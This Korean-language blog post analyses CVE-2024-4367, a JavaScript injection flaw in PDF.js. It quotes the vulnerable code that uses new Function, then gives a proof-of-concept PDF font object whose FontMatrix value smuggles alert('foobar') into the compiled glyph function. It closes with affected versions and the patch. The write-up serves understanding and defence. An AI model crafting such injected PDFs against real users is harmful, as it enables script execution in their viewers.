Post

CVE-2024-4367 XSS in PDF.js

The arbitrary JavaScript code execution vulnerability in PDF.js

Description

CVE-2024-4367 취약점은 Codean Labs에서 발견한 PDF.js 취약점이다. PDF.js는 Mozilla에서 관리하는 JavaScript 기반 PDF 뷰어이자 라이브러리이다. 공격자는 악성 PDF 파일이 열리는 즉시 임의의 JavaScript 코드를 실행할 수 있었다. PDF.js는 Firefox 브라우저에 내장되어 PDF 파일을 렌더링하는 데 사용되기 때문에 모든 Firefox 사용자에게 영향을 미칠 정도로 파급력이 컸다.

Affected Versions

  • pdfjs-dist(npm)
    • 0.8.1181
    • 1.4.20
    • 1.10.88
    • 4.1.392
  • Mozilla Firefox < 126
  • Mozilla Firefox < 115.11
  • Mozilla Thunderbird < 115.11

PoC

해당 취약점은 PDF.js가 PDF 파일에서 폰트를 렌더링하는 과정에서 발생한다. 아래는 PDF.js 라이브러리의 폰트 렌더링 최적화와 관련된 코드이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// If we can, compile cmds into JS for MAXIMUM SPEED...
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
  const jsBuf = [];
  for (const current of cmds) {
    const args = current.args !== undefined ? current.args.join(",") : "";
    jsBuf.push("c.", current.cmd, "(", args, ");\n");
  }
  // eslint-disable-next-line no-new-func
  console.log(jsBuf.join(""));
  return (this.compiledGlyphs[character] = new Function(
    "c",
    "size",
    jsBuf.join("")
  ));
}


PDF 파일의 페이지를 Canvas에 렌더링 하는 과정에서 명령어들을 미리 컴파일된 코드 조각으로 변환하여 캐시에 저장해두고, 이후에는 이 캐시된 코드를 반복 실행하면서 성능을 최적화하는 메커니즘으로 보인다.

그러나, 해당 방식은 new Function을 사용하여 jsBuf에 임의의 JavaScript 코드가 삽입될 수 있는 가능성을 열어두고 있다. 따라서, 공격자는 FontMatrix와 transform 명령어에 조작된 값을 삽입해 악성 코드 실행을 유도할 수 있다.


최종적으로는 익명 함수 형태로 포맷되어 PDF.js 내부에서 렌더링할 때마다 이 함수를 호출해 PDF 문서의 특정 글자나 그래픽 요소를 Canvas에 그리게 된다.

1
2
3
4
5
6
7
8
Function(c, size)
{
	c.save();
	c.transform(0.001,0,0,0.001,0,0);
	c.scale(size,-size);
	c.moveTo(0,0);
	c.restore();
}


FontMatrix는 PDF 파일 안에서 글꼴 크기와 위치를 설정하지만 이 값은 다른 값으로 설정할 수 있으며, PDF 파싱 과정에서 사용자 정의 값이 적용된다. 예를 들어, PDF 작성자가 FontMatrix를 다음과 같이 설정했다고 가정해 보겠다.

1 0 obj … endobj 구문은 PDF 파일 내에서 하나의 객체를 정의하는 구문으로 PDF 파일의 구성 요소(글꼴, 이미지, 텍스트 등)를 정의할 수 있다.

1
2
3
4
5
6
7
8
9
1 0 obj
<<
  /Type /Font
  /Subtype /Type1
  /FontDescriptor 2 0 R
  /BaseFont /FooBarFont
  /FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]
>>
endobj


위 설정은 alert(’foobar’)를 포함하고 있다. 이 값들은 PDF.js의 jsBuf에 포함되어 Function 생성자에 전달되므로 최종적으로 JavaScript 코드는 다음과 같이 변환되는 것이다.

1
2
3
4
5
6
7
8
Function(c, size)
{
	c.save();
	c.transform(1, 2, 3, 4, 5, 0); alert('foobar');
	c.scale(size,-size);
	c.moveTo(0,0);
	c.restore();
}


이 취약점은 사용자가 PDF 파일을 열었을 때, 임의의 file:// URL로 다운로드를 유도할 수도 있었고 window.PDFViewerApplication.url 속성으로 사용자가 어떤 PDF 파일을 열었는지, 언제 열었는지, 파일이 저장된 위치까지 감시하여 보다 정교한 공격 설계로 이어지기도 했다.

Patch

기존에 문자열로 처리되던 transformsaveFontRenderOps의 enum 값으로 대체되었고 cmds가 문자열 배열에서 Commands 클래스의 인스턴스로 변경되었다. 또한, add 메소드에서 커맨드를 추가할 때 인자의 타입을 검사함으로써 JavaScript 코드가 삽입되는 것을 방지하였다.

자세한 패치 정보는 아래 링크에서 확인할 수 있다.

https://github.com/mozilla/pdf.js/security/advisories/GHSA-wgrm-67xf-hhpq

Reference

https://blog.theori.io/2024-h1-hot-security-issue-case-b0636c5c6a7a
https://hackyboiz.github.io/2024/05/22/pwndorei/2024-05-22/
https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/

This post is licensed under CC BY 4.0 by the author.